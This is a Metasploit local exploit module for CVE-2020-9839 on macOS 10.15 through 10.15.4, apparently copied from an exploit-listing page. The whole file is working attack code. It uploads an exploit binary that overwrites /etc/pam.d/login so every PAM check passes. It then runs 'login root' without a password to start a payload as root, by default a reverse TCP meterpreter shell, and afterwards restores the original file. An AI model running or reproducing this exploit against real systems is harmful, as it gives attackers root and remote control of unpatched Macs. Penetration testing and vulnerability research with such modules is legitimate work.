Share
## https://sploitus.com/exploit?id=PACKETSTORM:159084
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::File  
include Msf::Post::OSX::Priv  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'macOS cfprefsd Arbitrary File Write Local Privilege Escalation',  
'Description' => %q{  
This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in  
order to run a payload as root. The CFPreferencesSetAppValue function, which is  
reachable from most unsandboxed processes, can be exploited with a race condition  
in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login  
a user can then login as root with the `login root` command without a password.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yonghwi Jin <jinmoteam[at]gmail.com>', # pwn2own2020  
'Jungwon Lim <setuid0[at]protonmail.com>', # pwn2own2020  
'Insu Yun <insu[at]gatech.edu>', # pwn2own2020  
'Taesoo Kim <taesoo[at]gatech.edu>', # pwn2own2020  
'timwr' # metasploit integration  
],  
'References' => [  
['CVE', '2020-9839'],  
['URL', 'https://github.com/sslab-gatech/pwn2own2020'],  
],  
'Platform' => 'osx',  
'Arch' => ARCH_X64,  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },  
'Targets' => [  
[ 'Mac OS X x64 (Native Payload)', {} ],  
],  
'DisclosureDate' => 'Mar 18 2020'  
)  
)  
register_advanced_options [  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
@@target_file = "/etc/pam.d/login"  
@@original_content = %q(# login: auth account password session  
auth optional pam_krb5.so use_kcminit  
auth optional pam_ntlm.so try_first_pass  
auth optional pam_mount.so try_first_pass  
auth required pam_opendirectory.so try_first_pass  
account required pam_nologin.so  
account required pam_opendirectory.so  
password required pam_opendirectory.so  
session required pam_launchd.so  
session required pam_uwtmp.so  
session optional pam_mount.so  
)  
@@replacement_content = %q(# login: auth account password session  
auth optional pam_permit.so  
auth optional pam_permit.so  
auth optional pam_permit.so  
auth required pam_permit.so  
account required pam_permit.so  
account required pam_permit.so  
password required pam_permit.so  
session required pam_permit.so  
session required pam_permit.so  
session optional pam_permit.so  
)  
  
def check  
version = Gem::Version.new(get_system_version)  
if version > Gem::Version.new('10.15.4')  
CheckCode::Safe  
elsif version < Gem::Version.new('10.15')  
CheckCode::Safe  
else  
CheckCode::Appears  
end  
end  
  
def exploit  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"  
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
upload_and_chmodx payload_file, binary_payload  
register_file_for_cleanup payload_file  
  
current_content = read_file(@@target_file)  
@restore_content = current_content  
  
if current_content == @@replacement_content  
print_warning("The contents of #{@@target_file} was already replaced")  
elsif current_content != @@original_content  
print_warning("The contents of #{@@target_file} did not match the expected contents")  
@restore_content = nil  
end  
  
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"  
exploit_exe = exploit_data 'CVE-2020-9839', 'exploit'  
upload_and_chmodx exploit_file, exploit_exe  
register_file_for_cleanup exploit_file  
  
exploit_cmd = "#{exploit_file} #{@@target_file}"  
print_status("Executing exploit '#{exploit_cmd}'")  
result = cmd_exec(exploit_cmd)  
print_status("Exploit result:\n#{result}")  
unless write_file(@@target_file, @@replacement_content)  
print_error("#{@@target_file} could not be written")  
end  
  
login_cmd = "echo '#{payload_file} & disown' | login root"  
print_status("Running cmd:\n#{login_cmd}")  
result = cmd_exec(login_cmd)  
unless result.blank?  
print_status("Command output:\n#{result}")  
end  
end  
  
def new_session_cmd(session, cmd)  
if session.type.eql? 'meterpreter'  
session.sys.process.execute '/bin/bash', "-c '#{cmd}'"  
else  
session.shell_command_token cmd  
end  
end  
  
def on_new_session(session)  
return super unless @restore_content  
if write_file(@@target_file, @restore_content)  
new_session_cmd(session, "chgrp wheel #{@@target_file}")  
new_session_cmd(session, "chown root #{@@target_file}")  
new_session_cmd(session, "chmod 644 #{@@target_file}")  
print_good("#{@@target_file} was restored")  
else  
print_error("#{@@target_file} could not be restored!")  
end  
super  
end  
  
end